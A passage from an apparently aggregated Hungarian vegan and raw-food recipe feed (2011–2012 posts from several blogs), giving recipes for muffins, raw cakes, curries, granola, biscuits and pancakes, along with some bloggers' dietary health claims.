liszteket, a zabpelyhet, a sütőport, a szódabikarbónát és a sót. Öntsük a száraz hozzávalókat a nedveshez és jól keverjük el. Adjuk hozzá a reszelt almát és ezt is forgassuk bele a tésztába. Kanállal osszuk el a tésztát egyenlő részben a muffinformákban és szórjuk meg a tetejüket zabpehellyel. Süssük 180 fokon kb. 25 percig, amíg aranybarnák lesznek. Kivétel előtt azért végezzünk tűpróbát, hogy jól átsültek-e a muffinok.
Ananászos csokitorta
Kedvenceim azok a nyers torták amelyek sok-sok gyümölccsel készülnek, így ellensúlyozzák a magos alap töménységét. Az ananász, csokival szerintem igazán jó páros, és az ananász már magában is olyan ízletes , édes, zamatos, hogy egyéb ízesítőt nem igényel. Igazán finom lett... Ananászos csokitorta Alap: 100 gramm kesudió 100 gramm mandula 15- 20 db datolya 50 gramm kókuszreszelék 50 gramm zabpehely kiskanál fahéj reszelt citromhéj ( 2 citromé) ha nem elég édes, méz Hozzávalókat konyhai robotgépben eldolgozzuk,megkóstoljuk, ha nem elég édes mehet hozzá méz, majd kicsi csatos tortaformába nyomkodjuk. Ananászos réteg: 1 ananász 3 evőkanál útifűmaghéj 1 ananász felkockázva, konyhai robotgépben kicsit aprítva. hozzákeverjük az útifűmaghéjat és mehet az alapra. Csokikrém: 2 avokádó 1 banán 5 evőkanál kókusztej ( elhagyható) 2 evőkanál kókuszolaj 4 evőkanál kakaópor 6 evőkanál méz késhegynyi fahéj késhegynyi vanília A hozzávalókat konyhai robotgépben krémesre keverjük, majd a tortára kenjük. A tortát kókusz chipssel díszítjük. A tányér aljára kókusztejet is tehetünk.
Újabb kerek születésnap és gesztenye torta
Bükkszenti Tata ma tölti a 90-et. Boldog születésnapot! Sajnos az Ő fülhúzása halasztásra kerül, mert nincs a szomszédban, mint a másik egyívású apóka. Pedig nagyon megölelném e nagy nap alkalmából. Egyelőre egy virtuális tortával tudok csak kedveskedni, ami a másik ünnepeltnek készült. A piskóta a hagyományos módon készült, itt írtam róla, annyi, hogy gesztenyemasszát és mandulát a tésztába nem tettem. Egy kerek sütőformába 6 tojásból készül. A 6 tojáshoz 6 tojás, és 6 kanál porcukor / liszt kerül, meg egy fél csomag sütőpor. Zsírpapírt teszünk a sütőformába, és begyújtjuk a sütőt. A sárgáját és a fehérjét külön vesszük, a sárgájához keverjük a porcukrot, míg kifehéredik, majd a sütőport és a lisztet. Gyorsan felverjük a fehérjét kemény habbá. Két részletben hozzákeverjük finoman a sárgájához, majd a formába öntjük. 180-200 C-on fél órát sütjük. És nem nyitogatjuk közben a sütőt! A krém gesztenyemassza (3 csomag) 3 ek porcukor 1 vaj és 2,5 dl növényi tejszín keverékéből készült. Az oldalát és a tetejét egy régebbi száraz piskóta morzsája (de lehet babapiskóta is) és darált mogyoró keverékével szórtam meg. Ha vegánul kellene készítenem, ebből a piskóta tésztából indulnék ki fahéj és gyümölcsök nélkül. Gesztenyemasszából kapható natúr, vagy valódi gesztenyéből főznék pürét. Nem bonyolult, és finom is. A vaj helyett biomargarint, vagy egy kis kókuszzsírt használnék, és több rizstejszínt, vagy zabtejszínt raknék bele. Valószínűleg gyümölcscukorral édesíteném. Majd a szülinapom környékén lehet, hogy meg is valósul. Évek óta nem volt torta, bár lehet, hogy jobb igen. :) A díszítéstől nem kell megijedni, nem nehéz, csak az a lényeg, hogy gondold át előtte, milyen mintát akarsz, és hová, mert a második tortánál kétszer simítottam el újra a tetejét. :) Ráadásul mindig mutatósabb az egyszerűbb.
Gabona Mics Karfiol Pürével
2012. március 26. Fittanyuka Blog
Aki nem járt Erdélyben, talán nem ismeri Mics-t, amely egy balkáni eredetű étel, hasonló, mint a csevap. Mondanom sem kel, hogy nem húsmentes az eredeti recept amit most vegánosítottam. Nagyon finom, a fűszerek adják meg az eredeti hússal készült receptnek is az ízét! Gabona Mics A hétköznapokban nagyon szeretem használni, mivel, gyors, praktikus, egészséges megoldás a különböző gabona-zöldség fasírtporok. A legjobb választás szerintem a Natura fasírtporok, sokfélék és rendkívül olcsók! Elkészíthetjük házilag is a keveréket, amelyet nyers zöldségekkel dobunk fel. Hozzávalók: 50g Barna rizsliszt 50 g szezám pehely 50 g lenmagpehely 50 g zabpehely 25 g vegamix ( szárított zöldség keverék) 1 evőkanálnyi napraforgó mag 1 evőkanál édes őrölt piros paprika 1 kávéskanálnyi himalaya só 1 db reszelt répa 2 cikk fokhagyma 1/2 fej vöröshagyma reszelve késhegynyi őrölt zöld bors Kókusz olaj a sütéshez. A nyers hozzávalók kivételével az alapanyagokat összekeverjük egy keverő tálban, majd hozzáöntünk 250 ml meleg vizet, összekeverjük és fél órát pihentetjük, hogy a pelyhek a nedvességet magukba szívják. Utána az apróra reszelt répát, hagymát is hozzáadjuk, összekeverjük és vizes kézzel tetszőleges henger alakú fasírtokat formázunk és felmelegített kókusz olajon elő sütjük. Minden oldalukat pirosra sütjük. Egy tepsire kiszedjük és előmelegített sütőben 180 C fokon még 15 percig sütjük, hogy a közepe is biztosan átsüljön. Melegen-hidegen kitűnő! Karfiol püré: 1 db közepes fej karfiol 1-2 db közepes krumpli 200 ml növényi tejszín 1/2 citrom leve 1/2 kávéskanál himalaya só friss petrezselyem zöldje 1-2 db babérlevél A karfiolt rózsáira szedjük, a krumplit tisztítás után felkockázzuk és a sóval, babérlevéllel egy ujjnyi vízben lefedve puhára pároljuk, ( vizet leöntjük róla, babérlevelet kivesszük) majd a növényi tejszínnel, citrom lével krémesre turmixoljuk. A felaprított petrezselyem zölddel megszórjuk. Friss salátával, zöldségekkel tálaljuk! Fittanyuka - Lúgosító ételek a facebookon A gabonás zöldség étel mellé nem a keményítőben gazdag krumpli illik élettani szempontból, hanem a semleges züldségből készült ( karfiol), püré.Fittanyuka
Kesudióvaj
2012. március 23. Nyers konyha
Szeretném itt a blogon is megosztani új receptjeimet amelyek a Zöld Konyha online magazinban megjelentek. Ez a magból készült vaj jól kenhető, ízletes és egészséges alternatívája a tejből készült társának. Kesudióvaj: 100 gramm kesudió ( nyers natúr) 1 kiskanál kókuszolaj csipet só A kesudiót kávédarálóban vagy nagy teljesítményű turmixgépben porrá őröljük. Hozzákeverjük a sót és az olajat és kész a vaj. Hűtőben tárolandó, de használat előtt pár perccel korábban érdemes kivenni, hogy kenhetőbb, puhább legyen.
Vegán sütőtök csicseriborsó curry
2012. március 19. Zizi kalandjai
Február elején egyszer csak megkívántam az indiait, vagyis élt a vágy bennem, hogy főzzek valami finom indiait, aminek az illata belengi az egész lakást. A vágyat tett követte: gyors receptkeresés (thanks BBC Good Food), alapanyag beszerzés és irány a konyha. A sütőtök szezonja lassan lejár, tudom. Ha már nem kaptok sütőtököt készítsétek el padlizsánból vagy karfiolból, ha egy kis indiaira vágytok. Én jázmin rizst főztem hozzá, de ha több időtök van varázsoljatok az asztalra házi naan kenyeret. Prerna receptjét már elég rég kinéztem, remélem hamarosan kipróbálom, mert már nagyon ennék egy kis házi puha, fokhagymával jól bedörzsölt naan kenyeret. Vegán sütőtök csicseriborsó curry Hozzávalók: - 1 kg sütőtök, meghámozva, kimagozva, felkockázva - 400 g (1 konzerv) csicseriborsó, lecsöpögtetve - 400 ml kókusztej - 250 ml zöldség alaplé - 3 evőkanál sárga curry paszta - 2 fej vöröshagyma, felaprítva - 1 evőkanál fekete mustmármag - 1 teáskanál őrölt kardamom - 1evőkanál napraforgó olaj - 1 db lime frissen facsart leve - friss menta - naan kenyér vagy főtt jázmin rizs a tálaláshoz Egy lábasban hevítsük fel az olajat, a curry pasztát a hagymával, kardamommal és mustármagokkal, amíg illatos lesz (kb. 2-3 perc). Adjuk hozzá a felkockázott sütőtököt, jól keverjük át, hogy a hagymás, fűszeres keverék mindenhol befedje. Öntsük hozzá a zöldséglevet és a kókusztejet. Forraljuk fel, adjuk hozzá a csicseriborsót és főzzük alacsonyabb lángon további 10 percig, amíg a sütőtök megpuhul, de nem fő szét. Keverjük hozzá a kifacsart lime levét. Tálaljuk rizzsel és szórjuk meg aprított mentával.
Répás csicseriborsó fasírt, fűszeres paradicsomszósszal
2012. március 18. Csatni és Umeboshi: Jógakonyha
Úgy látom ezt az anyagot elfelejtettem áthozni anno a Marmalade-ról, pedig tökéletesen ideillik. Egy Vegafood-os rendelésen kóstolam először sült répagombócot valami isteni fűszeres paradicsomszósszal és köleskásával. Odahaza már másnap nekiálltam kísérletezni, hogy visszaköszönjön az az ízvilág. Kiindulásnak csicseriborsó-fasírt alapot készítettem, ebbe reszeltem a sárgarépát, amit előzőleg megpároltam. A szószhoz csonsz -al indítotam, amihez hozzáadtam a fűszereket és a paradicsomszószt. A csonsz az indiai konyha egyik alapja. Néhány fűszert forró ghee-ben megpörkölnek, így jobban érvényesül az aromája. Először a szemes, egész fűszereket, mert azok lassabban engedik ki ízüket ( pl. egész kömények, egész bors, babérlevél stb,), utána jöhetnek a nyers fűszerek (chili, reszelt gyömbér), majd a porfűszerek. Ezek után már csak pár másodperces pirítás megengedett. Répás csiseriborsófasírt Hozzávalók: - 20 -25 dkg konzerv csicseriborsó, - 1 nagyobb sárgarépa lereszelve, - 1 kis fej hagyma apróra vágva, - 1 gerezd zúzott fokhagyma, - Fél csokor apróra vágott petrezselyem, - Fél kiskanál római kömény, - Fél kiskanál őrölt koriander, - 1/2 kiskanál sütőpor, - só, - fűszerpaprika, - 1-2 evőkanál kukoricaliszt. A csicseriborsót szűrd le, add hozz a sót, borsot, friss, apróra vágott petrezselymet és botturmix segítségével pépesítsd. A felaprított hagymát pirítsd meg és szórd rá a lereszel sárgarépát. Picit párold át, majd keverd össze a csicseris masszával. Fűszerezd ízlés szerint köménnyel, korianderrel, és fűszerpaprikával. Keverj bele egy-két evőkanál kukoricalisztet. Dolgozd össze, majd formázz belőle diónyi méretű labdákat. Tedd jénai tálba és forró sütőben 25-30 perc alatt süsd készre. Fűszeres paradicsommártás A csonszhoz: - 2 evőkanál olaj, - 1 evőkanál reszelt gyömbér, - Fél kiskanál korinder - Fél kiskanál kömény Továbbá: - 2 evőkanál kókuszreszelék, - Csipetnyi őrölt fahéj, - 1 kiskanál garam masala - 2 evőkanál bio paradicsompüré, - 1 kiskanál barnacukor - 2 kiskanál joghurt. A csonsz-hoz hevísd fel az olajat és dobd bele a köményt, amikor barnul add hozzá a gyömbért és a koriandert. Úgy 30 másodperces pirítás után tedd hozzá a kókuszreszeléket, majd az őrölt fűszereket, a fahéjat és a garam masalát. Pirítsd 2-3 másodpercig, majd keverd bele a paradicsompürét. Add hozzá a barnacukrot és öntsd fel 1,5 dl vízzel. Forrald össze legvégül sűrítsd be a joghurttal. A répagombócokat öntsd le ezzel a mártással.
Chia magos csokiparfé
2012. március 13. Nyers konyha
Ismét kísérletezésbe kezdtem, és meglepetésemre valami különleges állagot és ízvilágot sikerült létrehoznom. Chia magos csokiparfé: 2 dl kókusztej ( dobozos) 1 evőkanál méz csipet vanília 1 evőkanál kakaópor 3 evőkanál chia mag Kókusztejet összekevertem a többi hozzávalóval és egy éjszakára a hűtőbe tettem. Reggelre, úgy megszívták magukat a magok, hogy az egészből egy jó sűrű krém lett. Ezt a krémet formába töltöttem, majd a formából kivéve, megszórtam aprított kesudióval, citromhéjat reszeltem rá, meglocsoltam néhány csepp juharsziruppal és mézzel, alá pedig pici kókusztejet öntöttem.
Tavaszi Zöldség Omlett
2012. március 11. Fittanyuka Blog
A Tavaszi - Tisztulás Főzőtanfolyamom egyik kedvenc étele a az alábbi zöldséges kompozíció volt. Nagyon finom ízhatás, zsenge zöldségekből. Beépíthetjük a bevezető és levezető szakaszban is a méregtelenítő kúra alatt. Egyébként a zöldségek miatt bármikor fogyaszthatjuk, hidegen, melegen. Legfinomabb, frissen-melegen. Tetszőlegesen választott zöldségekkel is elkészíthető! Hozzávalók 4-6 fő részére 3 szál répa 3 szál halványított zeller szár 2-3 szál újhagyma 1-2 szál friss petrezselyem zöld 4 evőkanál sárgaborsó liszt 3 evőkanál tökmag liszt ( elhagyható, de nagyon finom ízt kölcsönöz az omlettnek) 2 cikk fokhagyma 2 evőkanál szeletelt mandula 1 kávéskanál himalaya só kókusz olaj a sütéshez víz A répát lereszeljük, a hagymát, zeller szárat, petrezselyem zöldjét felaprítjuk, egy keverő tálban összekeverjük. Egy másik tálban a sárgaborsó lisztet, tökmag lisztet, sót, zöld borst, annyi vízzel összekeverünk, hogy palacsinta tészta sűrűségű tésztát kapjunk. Összekeverjük a zöldséges keveréket a masszával, belepréseljük a fokhagymát. A kókusz olajat felhevítjük egy kerámia edényben és egy evőkanál segítségével kis halmokat halmozunk az olajba. Kicsit lenyomkodjuk, miután megpirult az oldala, lapát segítségével megfordítjuk. Itatós papírra szedjük az omletteket. Nagyon finom és egészséges friss salátával együtt fogyasztva, vagy kölessel, hajdinával. Fittanyuka - Lúgosító ételek a facebookon Fittanyuka
Szuper reggeli: citromos-mákos kókusztejes bulgur
2012. március 10. Zizi kalandjai
Folytatódik a szuper reggeli sorozat! Ebbe már került egy kis édesítő, de tényleg minimális. Szuper finom, könnyű elkészíteni, tápláló, laktató, különleges, nem mindennapi reggeli. Igen, jól olvastátok a címben, bulgurt használtam az elkészítéséhez. A bulgurt eddig köretként, sós ételek készítéséhez használtam fel. Heidi Super Natural Every Day című szakácskönyvének köszönhetően megtanultam, hogy nemcsak ebéd vagy vacsora készülhet ebből a gabonából (tört búza), hanem reggeli is. Krémes kókusztejben és vízben főztem meg, egy kevés mézzel édesítettem és belekerült a mák és a citrom kiváló párosa is. Citromos-mákos kókusztejes bulgur Hozzávalók 2 főre: - 180 ml kókusztej - 120 ml víz - 70 g bulgur - 1 teáskanál mák - 1/2 bio citrom reszelt héja - 4 teáskanál méz - 1/4 teáskanál só - 15 g szeletelt, pirított mandula Száraz serpenyőben 5-7 perc alatt pirítsuk meg a szeletelt mandulát, majd tegyük félre. Egy lábasban melegítsük fel a kókusztejet és a vizet, majd keverjük bele a bulgurt és forraljuk fel. Ekkor vegyük takarékra a lángot és főzzük 15-20 percig, amíg a bulgur megpuhul és magába szívja a folyadékot. Keverjük bele a mézet, a mákot és a citromhéjat. Ha szükséges adjunk még hozzá egy kevés vizet vagy kókusztejet, hogy krémes maradjon az állaga. Tálaljuk melegen, szórjuk meg még egy kevés citromhéjjal és a pirított mandulával.
Kakaós szivek gyümölcsökkel
2012. február 28. Gitta nyersétel blogja
Torta alap készítésekor előfordul, hogy a masszából kimarad. Ilyenkor golyókat szoktam formázni, és meghempergetem kókuszreszelékben vagy durvára törött magokban. Most viszont a legutóbbi két alkalommal nem golyó készült belőle, hanem belenyomkodtam egy szilikon sütőformába, és betettem a mélyhűtőbe. A torta alapok receptjei, csak úgy nagy vonalakban: dió (vagy mandula), datolya, napraforgó, méz, kakaópor, kókuszreszelék. Mindent aprítógépben masszává dolgozunk, és tortaforma aljába nyomkodjuk. Ha kimarad valamennyi, akkor jöhetnek a szivecskék, golyók vagy egyéb más formák. A szilikon szív-formának volt egy kis mélyedés a közepében, ebbe a következő citromos öntetet töltöttem: kesudió, víz, méz, citromlé, ezeket turmixgépben simára kevertem, és belekanalaztam a szivecskék közepébe. Kakaós diószívek A képen látszik, hogy két szívnek finomabb a textúrája, kettőnek pedig durvább. Ilyen volt a tortamassza, amiből kimaradt. Az egyik szív közepére tettem néhány aszalt áfonyát, de láttam, hogy jobb áfonya nélkül. Mivel ez egy elég tömény édesség, sok sok gyümölccsel kell enni, pl így: kakaós diószív gyümölcsökkel
Szuper reggeli: Cukormentes fahéjas granola
2012. február 20. Zizi kalandjai
Folytatódik a szuper reggeli sorozat egy szintén egyszerű, 20 perc alatt elkészíthető finomsággal, a granolával. A granolát többnyire reggelire fogyasztják, de nasiként is megállja helyét (sőt ajánlott az egészségtelen snack food helyett). Alapját a zabpehely, olajos magvak és valamilyen édesítőszer képezik, adhatunk hozzá aszalt gyümölcsöket, jó minőségű csokoládét, megszórhatjuk kakaóval vagy kókuszreszelékkel... szóval rengeteg variánsa van. Az üzletekben kapható változatok többnyire édesítve vannak, ezért érdemes elkészíteni a saját házi verziónkat és így mi kontrolláljuk azt, hogy miből mennyi kerüljön bele. Nem beszélve arról, hogy a házi verzió olcsóbb. Üvegbe zárva hűvös helyen eláll 5-8 napig, de szerintem hamarabb el fog fogyni. A kihívás hónapjában természetesen cukormentes verziót készítettem. Az aranybarnára pirított magokat rizstejjel öntöttük fel, amely magában is édeskés ízű. Ha valaki mindenképpen szeretné édesebbé tenni, adjon hozzá 1-2 evőkanál mézet, nádcukrot vagy juharszirupot. Az elkészült granolát összekeverhetjük joghurttal, tejjel, egyéb növényi tejekkel vagy friss gyümölcsökkel is. A recept ötlete Maria-tól származik, akinek rengeteg inspiráló vegán és cukormentes receptje van. Sok mindent készítettem már a blogján található receptek közül. Cukormentes fahéjas granola Hozzávalók 2 főre: - 70 g dió - 30 g kesudió - 30 g mandula - 70 g kókusz chips - 20 g chia mag (lenmag vagy szezámmag is használható helyette) - 20 g kókuszolaj (vaj is használható helyette) - 1 teáskanál fahéj Melegítsük elő a sütőt 120C fokra. Egy tálban keverjük össze az összes hozzávalót, majd egyenletesen öntsük rá egy sütőpapírral bélelt tepsire. Süssük 10-15 percig, amíg a magok aranybarnára pirulnak. Félidőben egy kanállal keverjük át, hogy egyenletesen megsüljön. További cukormentes vegán receptekért katt ide. *** Cukormentes olvasnivalók :) William Dufty: Cukor blues (Kétezeregy Kiadó) Vitaminsziget: Fehér méreg: a cukor Chrash Test Mummy: 5 Reasons Why I Wont Take Sugar Back Sarah Wilson: I Quit Sugar The New York Times: Is Sugar Toxic?
Kelkáposzta leves sült tofuval, kókusztejben
2012. február 15. Govinda Vegetáriánus konyhája
Nagyon finom :)))
Kókuszos banán zöld szósszal
2012. február 7. Gitta nyersétel blogja
Nagylányom ma könnyű vacsorára vágyott: nagyon szereti a banánt gyümölcsszósszal. Egyszerű és gyors, már ő maga is el tudja készíteni. hozzávalók: tetszés szerinti mennyiségű banán karikára vágva banánonként 1 evőkanál kókuszreszelék 1 banán 1/2 avokádó 1/2 citrom leve 1 evőkanál méz A banánokat karikára vágjuk és megszórjuk kókuszreszelékkel. (megforgathatjuk kakaó vagy karobporban is, csak azt egy másik tálban) A banánt, avokádót, a citrom levét és a mézet turmixgépbe tesszük, és simára turmixoljuk. (a szósz az avokádótól lett zöld, nincs benne semmilyen zöldség :)) A banán karikákat belemártogatjuk a szószba.
csípős időre melengető csípős
Hó, esés, csípős hideg: erre csak csípős forró a helyes válasz! Nevezzük így: mandulás sütőtök curry a magam módján. Hihetetlen előnye: ha a sütőtök pucolásával kész vagy (ami a leghosszabb az egészben), akkor az egész nem több, mint fél óra. Inkább kevesebb. (Épp csak felengedett a nagylábujjam, ami szétfagyott a bakancsban -- Normafa rulez.) Curry: egy nagy fej hagymát gheen aranybarnára hipp-hopp, bele jó sok gyömbér, fokhagyma, egy csepp víz, hogy ne égjen le, aztán porfűszerek fél-fél teáskanállal: római kömény, koriander, chilli, kurkuma, fehér bors (lehet kevesebb); amikor megnyaltam, feljavítottam még egy kis madrasi curry porral (na, óvatosan, mert az is csípős), aztán bele a nagy kockákra vágott sütőtököt, egy perc keverés és rottyantás után só és egy deci víz, lehalkít, lefed. Óvatosan kell párolni, észnél lenni, mert nagyon gyorsan megpuhul, ha szétfő, az meg nem jó. Amikor még röcsög, mehet bele egy tejszín (az igazán jó kókusztejjel/kókusztejszínnel, de imprózós nap volt itthon, az meg nem volt önként itthon -- a kókuszok ilyenek). Hogy kompenzáljam, tettem bele egy nagy marék szeletelt mandulát. Nagyon enyhén sós rizs passzol hozzá, meg szerencsére volt még itthon egy kis francia shiraz bor!
Gyümölcsös édesség
2012. január 30. Gitta nyersétel blogja
Egy gyors gyümölcsös édesség: az ételtársítás szabályainak ugyan nem felel meg, de nagyon finom. Egy héten egyszer megengedhetjük magunknak, hiszen szép is, finom is. gyümölcsös süti Ez most egy tálcán készült, de ha kerek tortaformába teszed, akkor gyümölcstortának is tálalhatod, és akkor még ünnepélyesebb. Hozzávalók (egy kb 30x20 cm-es tálcához) az alaphoz: 20 dkg áztatott dió (mandula is jó) 1 evőkanál aszalt-csíráztatott hajdina (ez elhagyható, de ettől lesz finom ropogós) 1 evőkanál kakaópor (cukrozatlan, lehetőleg bio) 1 evőkanál méz 2 evőkanál kókuszreszelék gyümölcsök: 2-3 kivi, 1 banán, 2 mandarin (vagy bármilyen más gyümölcs) Kesuhab a tetejére: 15 dkg kesudió, 1-2 kanál méz, 1/2 citrom leve 1,5 dl tiszta víz csipet vanília aroma a díszítéshez aszalt áfonya, citromfű levelek Csokis réteg, rajta a gyümölcsök Az alaphoz a hozzávalókat aprítógépben morzsásra aprítjuk. A hajdinától finom ropogós lesz, de nélküle is nagyon finom (hiánya ne akadályozzon meg az elkészítésében). Egy csokis, morzsás anyagot kapunk, amit belenyomkodunk egy tálca aljába. Erre szépen felkarikázunk tetszés szerinti gyümölcsöket (először olyan gyümölcssalátásan akartam, összekeverve, de a végén mégis ilyen katonás sor lett belőle...) És utána jöhet a kesuhab: a kesudiót a vízzel, mézzel, citromlével simára turmixoljuk, és gusztusosan a gyümölcsök tetejére öntjük. Aszalt gyümölcsökkel, zöld levelekkel díszítjük. Szépen lehet szeletelni Szépen lehet vágni, még az alja sem tapadt le. Egy pillanat alatt elfogyott...
Vegán almaszószos fahéjas keksz
2012. január 16. Zizi kalandjai
Július óta nem került fel a blogra keksz recept, pedig, ha tudnátok, hogy mennyi kekszet sütöttem azóta. Karácsonyra legalább hatféle vegán kekszet késztettem, de egyiket se volt időm lefotózni, így szépen lassan újra megsütöm, lefotózom és kiteszem ide a blogra. Ez a recept, amit most megosztok veletek, karácsonykor nem készült el, ez egy teljesen új recept. Egyszerű, gyors, nem igazán édes, a téli ízvilágra épül az alma és a fahéj párosa miatt és akár babakeksznek is nevezhetném. Olyan babáknak, kis gyerekeknek ajánlom, akik már ettek cukrot. Én lágy sötétbarna nádcukrot raktam bele, aminek enyhén karamelles íze van, de természetesen bármilyen cukorral elkészíthető. Teához, forró csokihoz, kávéhoz kiváló. Vegán almaszószos fahéjas keksz Hozzávalók: - 120 g kókuszolaj - 120 g lágy sötétbarna nádcukor - 250 g almaszósz (cukrozatlan, natúr) - 150 g tönköly fehérliszt - 150 g teljeskiörlésű tönkölyliszt - 1 teáskanál foszfátmentes sütőpor - 1 teáskanál szódabikarbóna - 1 teáskanál fahéj - 90 g dió, felaprítva Melegítsük elő a sütőt 170 fokra. Egy tálban keverjük össze a kókuszolajat a nádcukorral, adjuk hozzá az almaszószt és tegyük félre. Egy másik tálban keverjük össze a liszteket, a sütőport, a szódabikarbónát és a fahéjat. Öntsük a nedves hozzávalókat a szárazhoz, majd keverjük simára a tésztát. Adjuk hozzá a diót és jól keverjük össze. Evőkanálnyi adagokat tegyünk egy sütőpapírral bélelt tepsire, lapítsuk le a kekszeket. Süssük 170-180 fokon kb. 12-15 percig. Ebből a mennyiségből nekem 40 db lett.
Köles Pancakes - Lenmagpehellyel
2012. január 14. Fittanyuka Blog
Az amerikai palacsinta nem a legegészségesebb ételek egyike, erősen a savasító kategóriába tartozik. Ha lúgosítani szeretnénk, vagy fogyni, minél kevesebb szénhidrátot célszerű fogyasztanunk, még az összetett szénhidrátokkal is csak módjával, főleg a kúra elején. ( Az összetett szénhidrátok: telítőértékük nagy energiatartalmuk alacsonyabb. Glykémiás indexük alacsonyabb. Az élelmi rost tartalom növekedésével, mint pl. a lenmagpehely,csökken a glykémiás index.) Ez a pankaces több pozitív kategóriának is megfelel. Alacsony szénhidráttartalmú lisztekből készült, mint a köles, mandulaliszt ( nagyszerűen lúgosítják a szervezetet ), a magas rostartalmát pedig a lenmagpehelynek köszönheti. Glikémiás indexe alacsony, cukorbetegek is bátran fogyaszthatják. Mivel a tésztát nem édesítjük, így javaslom nem édes krémekkel, pástétomokkal is fogyasztani, akár kenyér helyett. Bármelyik napszakban fogyasztható. Kíválló lúgosító vacsora lehet, valamelyik növényi krémmel, pástétommal, salátával. Desszertként fogyaszthatjuk csak természetes cukrokat tartalmazó lekvárokkal, mandulakrémmel, stb. Hozzávalók: (kb:10 db) 300 g kölesliszt 100 g lenmagpehely ( darált lenmag) 3 evőkanál kukorica keményítő 4 evőkanál mandula liszt 250 ml víz késhegynyi szódabikarbóna kókusz olaj a sütéshez Az összetevőkből palacsinta tésztát keverünk. Ha szükséges kevés vizet keverhetünk hozzá, de óvatosan, hogy ne legyen nagyon híg a tésztánk. Palacsinta sütőt kikenünk kókusz olajjal és kisméretű, viszonylag vastag tésztájú palacsintákat sütünk. Nem javaslom próbálkozni a hagyományos méretű, vékonyabb palacsinta tészta kisütésével, mert könnyen szakad, mivel egyik lisztnek sincsen sikér tartalma. Alufóliával letakarva, hűtőben 3-4 napig is eláll. Fittanyuka - lúgosító ételek a facebookon Fittanyuka
CANTUCCINI PISZTÁCIÁVAL ÉS MEGGYEL -TOJÁS NÉLKÜL!
Hogyan is jutottam el tegnap a bortól a cantuccini-ig: spontán vendégvárásba fordult a délután, és annyit tudtam, hogy vörösbort fogunk kortyolgatni. (Egyébként mindenkinek figyelmébe ajánlom az egri Bolyki János borait). Napközben online visszahallgattam a számomra érdekes hétvégi Kossuth rádiós műsorokat, és egy karácsonyi gasztronómiáról szóló beszélgetésben ejtettek szót egy sütiről, amit ilyenkor hagyományosan borral fogyasztanak itt Magyarországon. Nekem erről egyből Olaszország jutott eszembe: Pavia, a Ticino folyó partja, ahol egy kis Lambrusco, cantuccini és egyéb kekszek, valamint néhány egyetemista társaságában múlattam az időt jónéhány éve. A cantuccini pont az a keksz, amit nagyon szeretek, mert nem túl édes, de jó ropogós, és számtalan variációja létezik. Néhány hete leltem rá erre a tojás nélküli receptre a My new roots nevezetű blogon, amin még alakítottam egy kicsit. Így állt össze az én receptem: 2 bögre zabliszt 2 csapott tk foszfátmentes sütőpor 1 csipet só 1 bögre sötétbarna nádcukor 1/2 bögre almapüré (összeturmixolt alma) 2 ek kókuszolaj (olíva vagy más is lehet) 1 nagyobb bio mandarin héja 1 mk vanília 2/3 bögre pisztácia durvára vágva 1/2 bögre aszalt meggy 3 ek nyers kakaóbab töret A lisztet a sütőporral és sóval elkeverjük. A cukrot az olajjal és az almapürével dolgozzuk el, majd ezt a keveréket a liszthez adjuk. Hozzáadjuk a többi hozzávalót is. A tésztát két részre osztjuk és mindegyik félből baguette-t formálunk: 7-8 cm szélesre, kb 2cm magasra. Sütőpapírral bélelt tepsin 180C-ra előmelegített sütőben 25 percig sütjük. Ezután kivesszük a sütőből, annak hőmérsékletét visszavesszük 150 C-ra. 15 percig hagyjuk hűlni a sütit. Ezután kb. 1,5 cm vastagon felszeleteljük. Oldalára fektetve visszatesszük a sütőbe kb. 5-10 percig, amíg kissé megpirul, majd megfordítva a kekszeket a másik oldalukat is megpirítjuk. Itt a tojás szerepét az almapüré tölti be, és szerintem talán még finomabb is, mint a megszokott változat. Gyorsan elkészül, a magvakat, gyümölcsöket, fűszerezést tetszés szerint változtathatjuk a receptben. Tea, kávé és bor mellé is nagyon finom.
banános zabpelyhes keksz
2011. december 13. Mentesreceptek
Egy tálban összekeverek 2 csésze (fél liter) zabpelyhet, 1 csésze (250 ml) mazsolát vagy más aszalt gyümölcsöt és 1 csésze kókuszreszeléket (elhagyható), majd egy csésze (növényi) tejet öntök rá. Míg ázik, egy másik tálban összetörök 3 közepes, érett banánt és kikavarom 10 dkg margainnal. Elkeverem egy fél zacskó sütőporral, késhegynyi sóval és fél csésze graham liszttel. A két keveréket egybeforgatom és továbbra is állni hagyom, míg egy csésze diót felaprítok és kis lángon megpirítok. A diót is belekeverem a masszába és ha a zabpehely nem ázik még legalább negyed órája, kivárom ezt. Kanállal vagy kézzel kis, lapos kupacokat rakok a masszából egy sütőpapírra és 170 fokra előmelegített sütőben 20 percig sütöm. (Alapötlet innen)
Kókuszkocka tojás nélkül
Tibi múlt héten kitalálta, hogy csináljak kókuszkockát, mert nagyon enne és ez meg is adta a löketet, hogy megoldjam a dolgot valahogyan vegán módra. Szokás szerint tojás helyett olajat használtam és egész jó lett a végeredmény; finom,puha lett a tészta. A szódabikarbóna + ecet kombináció ötletét innen vettem:http://receptek.vegetarianus.info Hozzávalók: 50 dkg liszt 10 dkg barnacukor 4 dl víz 5 ev. kanál holland kakópor 12 ev. kanál olaj 6 ev. kanál ecet Bevonathoz: 50g kókusztejpor 25 dkg növényi margarin vagy vaj 5 ev. kanál rizsszirup kókuszreszelék 1. Az összes száraz hozzávalót keverjük össze, majd adjuk hozzá a vizet és az olajat. Kézi mixerrel keverjük simára, majd adagoljuk hozzá az ecetet. Ettől meg fog emelkedni a tészta. 2. Öntsük kivajazott tepsibe, majd előmelegített sütőben süssük meg kb. 25-30 perc alatt. 3. Míg sül a tészta, gőz fölött olvasszuk meg a margarint, adjuk hozzá a kókusztejport és a rizsszirupot. 4. A kihűlt tésztát kockázzuk fel, majd forgassuk a mázba és hempergessük kókuszreszelékbe. Ildi :-) 2010. június
Hercegnő torta, vagy Hello Kitty torta II. (tej- és tojásmentes), és a 3. szülinap
2011. szeptember 18. Vegagyerek
